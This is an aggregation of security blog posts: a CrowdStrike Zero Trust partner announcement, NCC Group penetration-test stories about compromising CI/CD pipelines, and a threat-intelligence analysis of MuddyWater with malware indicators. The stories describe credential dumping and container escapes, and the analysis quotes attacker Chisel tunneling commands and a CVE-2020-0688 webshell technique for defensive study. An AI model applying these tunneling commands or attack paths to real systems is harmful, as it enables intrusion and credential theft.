Organizations need to stay ahead of the ever-evolving security landscape. It’s no secret that Zero Trust security is crucial for successful endpoint protection. Due to the rapid transition to a remote workforce and shift from the traditional data center into dynamic cloud infrastructure we’ve witnessed in the last year, more and more companies are finding the need to accelerate their digital transformation to keep pace with the expanding threat surface.

Zero Trust Is Not Optional 

These rapid changes in the work environment have made it very important to shift from the traditional security “trust but verify” model to the Zero Trust model of “never trust, always verify.” Zero Trust requires all users, whether in or outside of the organization’s network, to be authenticated, authorized and continuously validated for security configuration and posture before being granted access to applications and data. 

In fact, 90% of organizations surveyed in July 2021 indicated that they have embarked on their Zero Trust journey, but only 33% of them reported that they were in the implementation phase. 

How CrowdStrike Falcon Zero Trust Assessment (ZTA) Helps

CrowdStrike Falcon Zero Trust Assessment (ZTA) expands Zero Trust beyond authentication to enable detection, alerting and enforcement of conditional access based on device health and compliance checks to mitigate risks. With expanded support for macOS and Linux, Falcon ZTA provides visibility into all endpoints running across all operating platforms in an organization. Falcon ZTA monitors over 120 different unique endpoint settings, including sensor health, applied CrowdStrike policies and native operating system (OS) security settings. Customers receive actionable reports via the CrowdStrike Falcon® console and APIs to ensure that the highest degree of device security is enforced. 

Zero Trust Is Not a One-stop Solution 

Zero Trust is a journey that should cover the important entities — your endpoints, identities and workloads — to maximize protection. 

The continued expansion of the CrowdStrike Zero Trust partner ecosystem provides customers with a broad range of options that integrate with their existing security stack to ensure continuous and dynamic device posture assessment regardless of location, network or user. 

CrowdStrike’s continued expansion of Zero Trust solutions within our partner ecosystem allows companies to find solutions that integrate with their existing solution stack to ensure continuous and dynamic device posture assessment. Our recently announced partners offer a broad range of solutions, so customers have options to select one that supports their specific needs. These Zero Trust integrations provide solutions that give customers the flexibility to set alerts or block access to data, at the IP or application. 

  • Airgap: Airgap’s integration with Falcon ZTA allows customers to reduce their enterprise attack surface and prevent lateral movement across the organization. Customers can leverage a consolidated SaaS management console to configure, manage and update their network access policies based on a device posture and health score provided through Falcon ZTA. Customers can leverage this to prioritize monitoring network traffic using Airgap’s intuitive, easy-to-use interface. In addition, customers can automate highly customized responses to suspected malicious activity across their network through the Airgap interface to CrowdStrike’s endpoint detection and response (EDR) solutions.
  • Appgate: ​​With Appgate SDP and Falcon ZTA, customers can achieve intelligence-aware Zero Trust access to anywhere from anywhere. Using the Falcon ZTA built into the Falcon platform, Appgate SDP can enrich and dynamically adapt secure access entitlements dynamically and continuously to reduce risk. Joint customers can improve security by dynamically restricting access to risky endpoints or users, even during an established session, based on real-time risk detections and indicators of compromise. 
  • CyberArk: The integration between the CyberArk Identity Security Platform and Falcon ZTA gives clients the ability to identify and block out-of-compliance endpoints from connecting to an organization’s IT estate. The Falcon ZTA agent scans the endpoints and provides three scores (overall, OS, sensor_config) that are retrieved at the time of access. The integration allows for the admin to configure a certain threshold that will allow or deny user access to corporate IT resources based on the score returned from the Falcon ZTA API. When a privileged user attempts to connect to an endpoint, CyberArk confirms the Falcon ZTA score, and if it exceeds a certain threshold, their access is denied.
  • TruU: TruU and CrowdStrike have teamed up to combine Falcon ZTA with the TruIdentity Cloud continuous authentication risk engine to provide a comprehensive, best-in-class Zero Trust solution. The combination of device and identity risk allows customers to implement intelligent real-time policies that respond to potential threats by stepping up identity verification on compromised endpoints and limiting access to high-value assets from these endpoints.
  • Twingate: Twingate combined with the Falcon ZTA solution mitigates an organization’s risk from compromised devices through the enforcement of dynamic conditional access based on device health and compliance checks. Every endpoint and user is authenticated and authorized based on user identity as well as the endpoint device’s security posture and risk level before access to sensitive data and corporate assets is granted. This is applied to actual user devices and services that DevOps is running as part of their CI/CD workflows. This integration allows DevSecOps administrators to make more informed decisions on whether access requests should be authorized by leveraging the device risk score returned from the Falcon ZTA API and to configure in Twingate the minimum score thresholds per device.  

These new integrations expand our Zero Trust partner ecosystem beyond the already existing partner integrations with Google Cloud, Netskope and Okta to integrate CrowdStrike Falcon ZTA natively in their products, streamlining operations and simplifying management. CrowdStrike’s continued expansion of Zero Trust integrations offers solutions with key technologies to ensure organizations are protected against modern and evolving threats against multiple attack vectors by securing all hardware and digital assets. Through these technology alliances, customers can maximize Zero Trust coverage across hybrid enterprises and stop breaches in real time.

Additional Resources 

10 real-world stories of how we’ve compromised CI/CD pipelines

13 January 2022 at 10:00

by Aaron Haymore, Iain Smart, Viktor Gazdag, Divya Natesan, and Jennifer Fernick

Mainstream appreciation for cyberattacks targeting continuous integration and continuous delivery/continuous deployment (CI/CD) pipelines has been gaining momentum. Attackers and defenders increasingly understand that build pipelines are highly-privileged targets with a substantial attack surface.

But what are the potential weak points in a CI/CD pipeline? What does this type of attack look like in practice? NCC Group has found many attack paths through different security assessments that could have led to a compromised CI/CD pipeline in enterprises large and small.

In this post, we will share some of our war stories about what we have observed and been able to demonstrate on CI/CD pipeline security assessments, clearly showing why there is the saying, “they are execution engines.”

Through showing many different flavors of attack on possible development pipelines, we hope to emphasize the criticality of securing this varied attack surface to better secure the software supply chain.

Jenkins with multiple attack angles

The first 3 attack stories are related to Jenkins, a leading tool in CI/CD used by many companies and one of our consultants came across when working on multiple assessments for major software companies. 

Attack #1: “It Always Starts with an S3 Bucket…”

The usual small misconfiguration in an S3 bucket led to a full DevOps environment compromise. The initial attack angle was via a web application. The attack flow for this compromise involved:

Web application -> Directory listing on S3 bucket -> Hardcoded Git credential in script file -> Git access -> Access Jenkins with the same hardcoded Git credential -> Dump credentials  from Jenkins -> Lateral movement -> Game Over -> Incident -> Internal Investigation

NCC Group performed a black box web application assessment with anonymous access on an Internet-facing web application. At the beginning of the test, a sitemap file was discovered in a sitemap folder. The sitemap folder turned out to be an S3 bucket with directory listing enabled. Looking through the files in the S3 bucket, a bash shell script was spotted. After a closer inspection, a hardcoded git command with a credential was revealed. The credentials gave the NCC Group consultant access as a limited user to the Jenkins Master web login UI which was only accessible internally and not from the Internet. After a couple of clicks and looking around in the cluster they were able to switch to an administrator account. With administrator privileges, the consultant used Groovy one-liners in the script console and dumped around 200 different credentials such as AWS Access token, SAST/DAST tokens, EC2 SSH certificates, Jenkins users, and other Jenkins credentials. The assessment ended with the client conducting incident response working closely with the consultant for remediation. 

NCC gave a detailed report with remediation and hardening steps for the client, and some of the recommended steps were the following:

  • Remove directory listing for S3
  • Remove shell script file and hardcoded credential
  • Remove the connection that allows whoever has GitHub access can access Jenkins
  • Install and review Audit Trail and Job Configuration History plugins
  • Jenkins should not be accessible from the Internet in this case we tested onsite
  • Change and lower the privileges the Jenkins account had
  • Deploy and use MFA for administrator accounts

Attack #2: Privilege Escalation in Hardened Environment

The following steps describe another privilege escalation path found by the consultant on a different assessment:

Login with SSO credentials -> Testing separated, lock down and documented roles -> One role with Build/Replay code execution -> Credentials dump

The assessment was to review a newly implemented hardened Jenkins environment with the documented user roles that had been created using the least privileges principle. Jenkins was running under a non root-user, latest version of core and plugins, had SSL certification and SSO with MFA for login. NCC Group consultant had access to one user with a specific role per day and tested if there was any privilege escalation path.

The builder role had the Build/Replay permission as well (that allows replaying a Pipeline build with a modified script Or with additional Groovy code), not just the build permission to build the jobs. This allowed NCC Group consultants to run Groovy code and dump credentials of Jenkins users and other secrets.

Attack #3: Confusing Wording in a Plugin

The last angle was a confusing option in a Jenkins plugin that led to wide-open access:

GitHub Authorization -> Authenticated Git User with Read Access -> Jenkins Access with Gmail Account

The GitHub OAuth Plugin was deployed in Jenkins that provided authentication and authorization. The “Grant READ permissions to all Authenticated Users” and “Use GitHub repository permissions” options were ticked that allowed anyone with a GitHub account (even external users) accessing the Jenkins web login UI. NCC was able to register and use their own hosted email account to get access to their projects.

GitLab CI/CD Pipeline Attacks

NCC Group has done many jobs that have looked at another well-known and used tool called GitLab. As a result, the NCC Group consultant has found some interesting attack paths.

Attack #4: Take Advantage of Protected Branches

On one particular job, there were multiple major flaws in how the GitLab Runners were set up. The first major flaw was that the runners were using privileged containers, which means they were configured to use the “—privileged” flag that would allow them to spin up other privileged containers that could trivially escape to the host. This one was a pretty straightforward attack vector and could get you to the host. But what made this one interesting was these GitLab Runners were also shared Runners and not isolated. One developer who was only supposed to push code to a certain repository could also get access to secrets and highly privileged repositories. In addition, these shared runners were using trivial environment variables that stored highly sensitive secrets, such as auth tokens and passwords. A user who had limited push access to a repository could be able to get highly privileged secrets.

Protected branches are branches that can be maintained by someone with a maintainer role within GitLab and they can say “only these people can push against these source code repositories or branches” and there is a change request (CR) chain associated with it. These protected branches can be associated with a protected runner. You can lock it down, so the developer has to get the CR approved to push code. But in this case, there was no CR and protected branch implemented and enforced. Anybody could push to an unprotected branch and then chain the previous exploits. Chaining of these 4-5 vulnerabilities gave all access.

There were lots of different paths as well. Even if the “—privileged” flag was used, there was also another path to get to the privileged containers. There was a requirement for the developers to be able to run the docker command. The host’s docker daemon was shared with the GitLab Shared Runner. That led to access to the host and jumping between containers.

The Consultant asked the client to understand and to help remediate the issues, but was keen to understand root causes for what led to these choices being made. Why did they make these configuration choices, and what trade-offs did they consider? What were the more-secure alternatives to these choices; were they aware of these options, and if so, why weren’t they chosen?

The reason that the company wanted privileged containers was to do static analysis on the code that was being pushed. Consultants explained that they should have isolated Runners and not use the shared Runners, and should have further limited access control. This emphasized an important point: It is possible to run privileged containers and to still somewhat limit the amount of sensitive information exposed.

Many of GitLab’s CI/CD security mechanisms to execute jobs depend on the premise that protected branches only contain trusted build jobs and content as administrated by Project’s Maintainers. Users at a Project’s Maintainer Privilege Level or above have the ability to deputize other users to be able to manage and push to specific protected branches as well. These privileged users are the gateway representing what is and is not considered trusted within the project. Making this distinction is important to reduce the exposure of privileges to untrusted build jobs.

Attack #5: GitLab Runners Using Privileged Containers

On another job, GitLab Runners were configured to execute CI/CD jobs with Docker’s “—privileged” flag. This flag negates any security isolation provided by Docker to protect the host from potentially unsafe containers. By disabling these security features, the container process was free to escalate their privileges to root on the host through a variety of features. Some tools were packaged as Docker images, and to support this, the client used Docker in Docker (DIND) within a privileged container to execute nested Containers.

If privileged CI/CD jobs are necessary, then the corresponding Runners should be configured to only execute on protected branches of projects which are known to be legitimate. This will prevent arbitrary developers from submitting unreviewed scripts which can result in host compromise. The Maintainer Role’s ability to manage protected branches for projects means they regulate control over any privileges supplied by an associated protected Runner.

Attack #6: Highly Privileged Shared Runners could claim jobs associated with sensitive Environment Variables and Privileged Kubernetes Environments.

Privileged Runners should not be configured as Shared Runners or broadly scoped groups. Instead, they should be configured as needed for specific projects or groups which are considered to have equivalent privilege levels among users at the maintainer level and above.

Attack #7: Runners Exposed Secrets to Untrusted CI/CD Jobs

Runners make calls to API endpoints which are authenticated using various tokens and passwords. Because these were Shared Runners, authentication tokens and passwords were accessed trivially by any user with rights to commit source code to Gitlab. Runners were configured to expose the secrets through environment variables. Secrets management, especially in CI/CD pipelines is a tough issue to solve.

To mitigate these types of risks, ensure that environment variables configured by Runners in all build jobs do not hold any privileged credentials. Properly-scoped GitLab variables can be used as a replacement. Environment variables should only hold informational configuration values which should be considered accessible to any developer in their associated projects and groups.

If Runners must provide credentials to their jobs through environment variables or mounted volumes, then the Runners should limit the workloads to which they are exposed. To do so, such Runners should only be associated with the most specific possible project/group. Additionally, they ought to be marked as “protected” so that they can only process jobs on protected branches.

Attack #8: Host Docker Daemon Exposed to Shared GitLab Runner

On one job, the Gitlab Shared Runners mount the Host’s Docker socket to CI/CD job containers at runtime. While this allows legitimate developers to run arbitrary Docker commands on the host for build purposes, it also allows build jobs to deploy privileged containers on the host itself to escape their containment. This also provides attackers with a window through which they can compromise other build jobs running on the host. Essentially, this negates all separation provided by Docker preventing the contained process from accessing other containers and the host. The following remediations are recommended in this case:

  • Do not allow developers to directly interact with Docker daemons on hosts they do not control. Consider running Docker build jobs using a tool that supports rootless Docker building such as kaniko.
  • Alternatively, develop a process that runs a static set of Docker commands on source code repositories to build them. This process should not be performed within the CI/CD job itself as job scripts are user-defined and the commands can be overwritten.
  • If this must be implemented through a CI/CD job, then build jobs executed on these Runners should be considered privileged and as such should be restricted Docker Runners accepting commits made to protected and known safe repositories to ensure that any user-defined CI/CD jobs have gone through a formal approval process.


Pods that are running a certain functionality sometimes end up using different pod authentication mechanisms that reach out to various services, AWS credentials are one example. Many times people use plugins and don’t restrict API paths around the plugins. For example, Kube2IAM is a plugin that is seen often and if you don’t correctly configure it from a pod you can get privileged containers that can lead to privileged API credentials that can let you see what the underlying host is doing.

Attack #9: Kube2IAM

Kube2IAM works off of pod annotations. It intercepts calls from a container pod being made to the AWS API (169254). An NCC Group consultant found an interesting situation where every developer could annotate pods. There was a setting configured with the “sts assume-role *” line in the AWS role that Kube2IAM was using. That allowed any developer who could create/annotate a pod inherits the AWS role of admin. This meant that anyone who could create any pod and specify an annotation could get admin privileges on the main AWS tooling account for a bank. This account had VPC peering configured that could look into any pod and non-pod environments. You could get anywhere with that access. Here is a pipeline that builds a pod, and all an attacker would have to do is add in an annotation to that which outputs something at the end.

There was another similar job performed by an NCC Group consultant. In this scenario, they could not annotate pods – instead, in Kube2IAM there is the flag “whitelist route regex” and you can mention AWS API paths. So you can specify what routes you want to go to/not go to. The DevOps admins had configured that with a white character that would allow someone to get access to privileged paths that would lead to underlying node credentials.

Attack #10: The Power of a Developer Laptop

In our final scenario, the NCC Group consultant got booked on a scenario-based assessment:

“Pretend you have compromised a developer’s laptop.”

All that the consultant could do was commit code to a single Java library that was using the Maven project. They set one of the pre-requirement files to an arbitrary file that would give a shell from the build environment. They changed it to a reverse Meterpreter shell payload. They found that the pod had an SSH key lying on disk that went to the Jenkins master node and then dumped all the variables from Jenkins. They then discovered that this was a real deployment pipeline that had write permissions and cluster-admin into the Kubernetes workload. Consequently, they now had access to the full production environment.

There was another job where NCC Group consultant compromised one user account and had access to a pipeline that was authenticated to the developer group. Running custom code was not possible in the pipeline, but they could tell the pipeline to build off a different branch even if it did not exist. The pipeline crashed and dumped out environment variables. One of the environment variables was a Windows domain administrator account. The blue team saw the pipeline crash but did not investigate.

In our final story, NCC Group consultants were on an assessment in which they landed in the middle of the pipeline. They were able to port scan the infrastructure that turned out to be a build pipeline. They found a number of applications with (as of then) unknown functionality. One of the applications was vulnerable to server-side request forgery (SSRF)  and they were running on AWS EC2 instances. The AWS nodes had the ability to edit config maps that allow mapping between an AWS user account and a role inside the cluster. It turned out that this didn’t check if the cluster and the account are in the same user account. As a result, the consultants were able to specify another AWS account to control the clusters and had admin privileges on the Elastic Kubernetes Service cluster (EKS).


CI/CD pipelines are complex environments. This complexity requires methodical & comprehensive reviews to secure the entire stack. Often a company may lack the time, specialist security knowledge, and people needed to secure their CI/CD pipeline(s).

Fundamentally, a CI/CD pipeline is remote code execution, and must be configured properly.

As seen from above, most compromise has the following root causes or can be traced back to:

  • Default configurations
  • Over permissive permissions and roles
  • Lack of security controls
  • Lack of segmentation and segregation

Wading Through Muddy Waters | Recent Activity of an Iranian State-Sponsored Threat Actor

12 January 2022 at 21:25


MuddyWater is commonly considered an Iranian state-sponsored threat actor but no further granularity has previously been available. As of January 12th, 2022, U.S. CyberCommand has attributed this activity to the Iranian Ministry of Intelligence (MOIS). While some cases allow for attribution hunches, or even fleshed out connections to handles and online personas, attribution to a particular government organization is often reserved to the kind of visibility only available to governments with a well-developed all-source and signals intelligence apparatus.

As in all cases of public government attribution, we take this as an opportunity to reassess our assumptions about a given threat actor all the while recognizing that we can’t independently verify the basis for this claim.

U.S. Cyber Command pointed to multiple malware sets used by MuddyWater. Among those, PowGoop correlates with activities we’ve triaged in recent incidents. We hope sharing relevant in-the-wild findings will further bolster our collective defense against this threat.

Iranian MOIS hacker group #MuddyWater is using a suite of malware to conduct espionage and malicious activity. If you see two or more of these malware on your network, you may have MuddyWater on it: https://t.co/xTI6xuQOg3. Attributed through @NCIJTF @FBI

— USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) January 12, 2022

Analysis of New PowGoop Variants

PowGoop is a malware family first described by Palo Alto which utilizes DLL search order hijacking (T1574.001). The name derives from the usage ‘GoogleUpdate.exe‘ to load a malicious modified version of ‘goopdate.dll‘, which is used to load a malicious PowerShell script from an external file. Other variants were described by ClearSkySec and Symantec.

We identified newer variants of PowGoop loader that involve significant changes, suggesting the group continues to use and maintain it even after recent exposures. The new variants reveal that the threat group has expanded its arsenal of legitimate software used to load malicious DLLs. Aside from ‘GoogleUpdate.exe’, three additional benign pieces of software are abused in order to sideload malicious DLLs: ‘Git.exe’, ‘FileSyncConfig.exe’ and ‘Inno_Updater.exe’.

Each contains a modified DLL and a renamed authentic DLL. The hijacked DLL contains imports originating from its renamed counterpart, as well as two additional functions written by the attackers. The list of hijacked DLLs is presented below:

Software Name Hijacked DLL Renamed DLL
GoogleUpdate.exe goopdate.dll goopdate86.dll
inno_updater.exe vcruntime140.dll vcruntime141.dll
FileSyncConfig.exe vcruntime140.dll vcruntime141.dll
git.exe libpcre2-8-0.dll libpcre2-8-1.dll

Unlike previous versions, the hijacked DLLs attempt to reflectively load two additional files, one named ‘Core.dat’, which is a shellcode called from the export ‘DllReg’ and the other named ‘Dore.dat’, which is a PE file with a `MZRE` header, allowing it to execute as a shellcode as well, similarly to the publicly reported techniques, called from the export ‘DllRege’.

Those two ‘.dat’ files are identical for each of the hijacked DLLs and are both executed using rundll32 on their respective export, which reads the file from disk to a virtually allocated buffer, followed by a call to offset 0 in the read data.

Both ‘Dore.dat’ and ‘Core.dat’ search for a file named ‘config.txt’ and run it using PowerShell in a fashion similar to older versions (T1059.001). The overlap in functionality between the two components is not clear; however, it is evident that ‘Core.dat’ represents a more mature and evolved version of PowGoop as it is loaded as a shellcode, making it less likely to be detected statically.

It is also worth noting that it is not necessary for both components to reside on the infected system as the malware will execute successfully with either one. Given that, it is possible that one or the other could be used as a backup component. The PowerShell payloads within ‘config.txt’ could not be retrieved at the time of writing.

Execution flow of new PowGoop variants
Execution flow of new PowGoop variants

MuddyWater Tunneling Activity

The operators behind MuddyWater activities are very fond of tunneling tools, as described in several recent blog posts(T1572). The custom tools used by the group often provide limited functionality, and are used to drop tunneling tools which enable the operators to conduct a wider set of activities. Among the tunneling tools MuddyWater attackers were observed using are Chisel, SSF and Ligolo.

The nature of tunneling activities is often confusing. However, analysis of Chisel executions by MuddyWater operators on some of the victims helps clarify their usage of such tools. This is an example of a command executed by the attackers on some of the victims:

 SharpChisel.exe client xx.xx.xx.xx:8080 r:8888:

The “r” flag used in the client execution implies the server is running in “reverse” mode. Setting the --reverse flag, according to Chisel documentation, “allows clients to specify reverse port forwarding remotes in addition to normal remotes”.

In this case, the “SharpChisel.exe” client runs on the victim machine, connects back to the Chisel server over port 8080, and specifies to forward anything coming over port 8888 of the server to port 9999 of the client.

This might look odd at first sight as port 9999 is not normally used on Windows machines and is not bound to any specific service. This is clarified shortly afterwards as the reverse tunnel is followed by setting up a Chisel SOCKS5 server on the victim, waiting for incoming connections over port 9999:

SharpChisel.exe server -p 9999 --socks5

By setting up both a server and a client instance of Chisel on the machine, the operators enable themselves to tunnel a variety of protocols which are supported over SOCKS5. This actually creates a tunnel within a tunnel. Given that, it is most likely the operator initiated SOCKS traffic to the server over port 8888, tunneling traffic from applications of interest to inner parts of the network.

The usage of Chisel and other tunneling tools effectively enable the threat actor to connect to machines within target environments as if they were inside the operator LAN.

Summary of MuddyWater tunneling using Chisel
Summary of MuddyWater tunneling using Chisel

Exchange Exploitation

When tracking MuddyWater activity, we came across an interesting subset of activity targeting Exchange servers of high-profile organizations. This subset of Exchange exploitation activity is rather interesting, as without context it would be difficult to attribute it to MuddyWater because the activity relies almost completely on publicly available offensive security tools.
The attackers attempt to exploit Exchange servers using two different tools:

  • A publicly available script for exploiting CVE-2020-0688 (T1190)
  • Ruler – an open source Exchange exploitation framework

CVE-2020-0688 Exploitation

Analysis of the activity observed suggests the MuddyWater threat group attempted to exploit CVE-2020-0688 on governmental organizations in the Middle East. The exploit enables remote code execution for an authenticated user. The specific exploit MuddyWater operators were attempting to run was utilized to drop a webshell.

The attempted webshell drop was performed using a set of PowerShell commands that write the webshell content into a specific path “/ecp/HybridLogout.aspx“. The webshell awaits the parameter “cmd” and runs the commands in it utilizing XSL Script Processing (T1220).

A snippet of the webshell MuddyWater attempted to upload to Exchange servers
A snippet of the webshell MuddyWater attempted to upload to Exchange servers

This activity is highly correlated with a CVE-2020-0688 exploitation script from a Github repository named fuckchina_v2.py. The script utilizes CVE-2020-0688 to upload an ASPX webshell to the path : “/ecp/HybridLogout.aspx” (T1505.003). It is also one of the only publicly available CVE-2020-0688 implementations that drop a web shell.

A snippet of CVE-2020-0688 exploitation script
A snippet of CVE-2020-0688 exploitation script

Ruler Exploitation

Among other activities performed by the threat actors was attempted Ruler exploitation. The instance identified targeted a telecommunication company in the Middle East. The observed activity suggests the threat actor attempted to create malicious forms, which is one of the most common usages of Ruler (T1137.003).

Usage of Ruler was previously associated with other Iranian threat actors, most commonly with APT33.


Analysis of MuddyWater activity suggests the group continues to evolve and adapt their techniques. While still relying on publicly available offensive security tools, the group has been refining its custom toolset and utilizing new techniques to avoid detection. This is observed through the three distinct activities observed and analyzed in this report: The evolution of the PowGoop malware family, the usage of tunneling tools, and the targeting of Exchange servers in high-profile organizations.

Like many other Iranian threat actors, the group displays less sophistication and technological complexity compared to other state-sponsored APT groups. Even so, it appears MuddyWater’s persistency is a key to their success, and their lack of sophistication does not appear to prevent them from achieving their goals.

Indicators of Compromise

PowGoop variants (MD5, SHA1, SHA256)

  • Goopdate.dll
    • A5981C4FA0A3D232CE7F7CE1225D9C7E
    • 8FED2FF6B739C13BADB14C1A884D738C80CB6F34
    • AA48F06EA8BFEBDC0CACE9EA5A2F9CE00C094CE10DF52462C4B9E87FEFE70F94
  • Libpcre2-8-0.dll
    • F8E7FF6895A18CC3D05D024AC7D8BE3E
    • 97248B6E445D38D48334A30A916E7D9DDA33A9B2
    • F1178846036F903C28B4AB752AFE1B38B531196677400C2250AC23377CF44EC3
  • Vcruntime140.dll
    • CEC48BCDEDEBC962CE45B63E201C0624
    • 81F46998C92427032378E5DEAD48BDFC9128B225
    • DD7EE54B12A55BCC67DA4CEAED6E636B7BD30D4DB6F6C594E9510E1E605ADE92
  • Core.dat
    • A65696D6B65F7159C9FFCD4119F60195
    • 570F7272412FF8257ED6868D90727A459E3B179E
    • B5B1E26312E0574464DDEF92C51D5F597E07DBA90617C0528EC9F494AF7E8504
  • Dore.dat
    • 6C084C8F5A61C6BEC5EB5573A2D51FFB
    • 61608ED1DE56D0E4FE6AF07ECBA0BD0A69D825B8
    • 7E7545D14DF7B618B3B1BC24321780C164A0A14D3600DBAC0F91AFBCE1A2F9F4


  • T1190 – Exploit Public-Facing Application
  • T1572 – Protocol Tunneling
  • T1574.001 – Hijack Execution Flow: DLL Search Order Hijacking
  • T1059.001 – Command and Scripting Interpreter: PowerShell
  • T1505.003 – Server Software Component: Web Shell
  • T1220 – XSL Script Processing